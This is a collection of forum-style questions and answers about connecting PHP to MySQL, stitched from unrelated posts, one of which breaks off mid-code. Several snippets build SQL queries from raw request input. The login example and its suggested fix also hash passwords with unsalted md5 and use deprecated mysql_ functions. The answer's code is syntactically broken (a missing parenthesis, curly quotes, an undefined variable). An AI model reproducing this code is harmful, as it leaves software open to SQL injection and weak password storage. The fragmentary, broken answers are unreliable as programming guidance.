I want to connect to a server hosted online.
My code connects to local host but when i change the values to the hosted server it gives me an error
Warning: mysqli_connect(): (HY000/2002): No connection could be made because the target machine actively refused it.
<?php
$servername = "zamokuhleWeb.co.za";
$username = "*****";
$password = "****";
// Create connection
$conn = mysqli_connect($servername, $username, $password);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
?>
I want to the access the database and get certain information from it
<?php
$servername = "localhost";
$username = "*****";
$password = "****";
// Create connection
$conn = mysqli_connect($servername, $username, $password);
// Check connection
if (!$conn) {

I`m using this code to put data into database :
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$stmt = $conn->prepare("INSERT INTO $TABLE (VALUE, DEVICE) VALUES (?, ?)");
$stmt->bind_param("ss", $VALUE, $DEVICE);
$stmt->execute();
$stmt->close();
$conn->close();
?>
Am i safe ?
Is my code secure or should I add another layer of security?
We made a simple php webpage with a InnoDB tabel, to monitor if InnoDB goes down.
When InnoDB / Mysql goes down we get a error: Connection failed: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2 "No such file or directory")
But we wanna forward this to a custom error. Lik: InnoDB IS DOWN!!!
Any suggestions how we can do this?
<?php
$servername = "localhost";
$username = "root";
$password = "**************";
$dbname = "innodb";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT status FROM monitoring";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "De status van InnoDB is: " . $row["status"]. "<br>";
}
} else {
echo "0 results";
}
$conn->close();
?>
It's simple, use something like this
<?php
// Configuration of database
// Check connection
if ($conn->connect_error) {
// die("InnoDB IS DOWN");
// OR
echo "<p>InnoDB IS DOWN</p>";
exit();
}
// Rest of your code
OR you may include an HTML page as well in the IF condition if ($conn->connect_error) like:
// Check connection
if ($conn->connect_error) {
include 'error_page.html';
exit();
}
// Rest of your code
I'm trying to test my prepared statement that is protecting one field to get the error message in case of SQL injection. I tried until now thousands of attacks, and all of the values I gave were accepted. Am I using a wrong syntax or attack? I can't see where the problem is. Here is my code:
try {
// $host = "localhost";
// $username = "root";
// $password = "root";
// $db_name = "pokemon";
$conn = new PDO('mysql:host='.$host.';dbname='.$db_name.';', $username, $password);
// set the PDO error mode to exception
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$meldung="";
$name =$_REQUEST['name'];
$gewicht = $_REQUEST['Gewicht'];
$größe =$_REQUEST['Größe'];
$spezies = $_REQUEST['Spezies'];
$stufe =$_REQUEST['Stufe'];
$atacke =$_REQUEST['Attacke'];
$array = explode(',', $_REQUEST['Attacke']);
$stmt = $conn->prepare("INSERT INTO Pokemon (`Name`,`Gewicht`,`grosse`,`spezies`,`stufe`) VALUES (:Name, '".$gewicht."', '".$größe."', '".$spezies."', '".$stufe."')");
$stmt->bindParam(':Name', $name);
// $stmt->bindParam(':Gewicht', $gewicht);
// $stmt->bindParam(':grosse', $größe);
// $stmt->bindParam(':spezies', $spezies);
// $stmt->bindParam(':stufe', $stufe);
$stmt->execute();
}
catch(PDOException $e)
{
$meldung = "Error: " . $e->getMessage();
echo $meldung;
}
thanks
I am trying to connect to MySQL server (hosted by godaddy) from php using PDO.
But I get this error :
An error occured : SQLSTATE[HY000] [2002] Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)
Note that this is not a database I host.
I was simply given the username and password to construct the database, create the users etc.
function ConnectToDb()
{
try{
$dns = 'mysql:host=1.1.1.1;dbname=dummyDbName';
$username = 'dummyUser';
$password = 'dummyPassword';
$LINK = new PDO($dns, $username, $password);
$LINK->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$LINK->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if (!$LINK){
die('Could not connect : ' .mysql_error());
}
else{
return $LINK;
}
} catch (PDOException $ex){
echo "An error occured : " .$ex->getMessage();
}
}
I know that this works on localhost.
I'm using it no problem, but as soon as I try to connect to the live database it fails.
Anyone has an hint?
Thanks
Follow this format:
$user = "username";
$pass = "password";
$host = "localhost";
$db = "yourDbname";
$dns = "mysql:host=" . $host . ";dbname=" . $db;
$dbh = new PDO($dns, $user, $pass);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
when you have to do a query (just an example):
$theid = 10;
$statement = $dbh->prepare('SELECT * FROM yourtable WHERE id = ? and name = ?');
$statement->execute(array($theid,'baronth'));
if you want to see if there's some errors while connecting or doing queryes (and you know how try-catch works), surround it with:
try {
all the code that you wan't to check
}
catch (PDOException $e) {
echo $e->getMessage();
}
it will echo the error.
i seem to be having an error on this coding any help would be appreciated
Parse error: parse error in C:\wamp\www\espn.com\login.php on line 19
<?php
//Database Information
$dbhost = "localhost";
$dbname = "users";
$dbuser = "root";
$dbpass = "*****";
//Connect to database
mysql_connect ( $dbhost, $dbuser, $dbpass)or die("Could not connect: ".mysql_error());
mysql_select_db($dbname) or die(mysql_error());
session_start();
$username = $_POST[‘username’];
$password = md5($_POST[‘password’]);
$query = “select * FROM users where 'username'=$username and 'password'= $password " ;
$result = mysql_query($query);
if (mysql_num_rows($result) != 1) {
$error = “Bad Login”;
include “login.html”;
} else {
$_SESSION[‘username’] = “$username”;
include “memberspage.php”;
}
?>
looks like you have a fancy quote on your query, so it's not a proper string
“ vs "
You are using odd quotes: “ instead of the proper ".
Probably happened while copying code from a web site.
The only valid string-delimiting quotes in PHP (and most other programming languages) are ' and ".
I want to tell you create a separate file/page for database connection. Suppose your connection file name is db_connection.php. Where you want to check only db_connection.php page will include. It saves your codding.
db_connection.php
<?php
//Database Information
$dbhost = "localhost";
$dbname = "users";
$dbuser = "root";
$dbpass = "*****";
//Connect to database
mysql_connect ( $dbhost, $dbuser, $dbpass)or die("Could not connect: ".mysql_error());
mysql_select_db($dbname) or die(mysql_error());
session_start();
?>
Now in your login page you include db_connection.php
loginpage:
<?php
include_once('db_connection.php');
if(isset($_POST['submit']) //submit is form button name
{
$username = $_POST[‘username’];
$password = md5($_POST[‘password’]);
$query = mysql_query(“select * FROM users where 'username'=$username and 'password'= $password ") ;
if (mysql_num_rows($result)>0) {
$_SESSION[‘username’] = “$username”;
header(location:memberspage.php);
} else {
$error = “Bad Login”;
header(location:memberspage.php);
}
?>
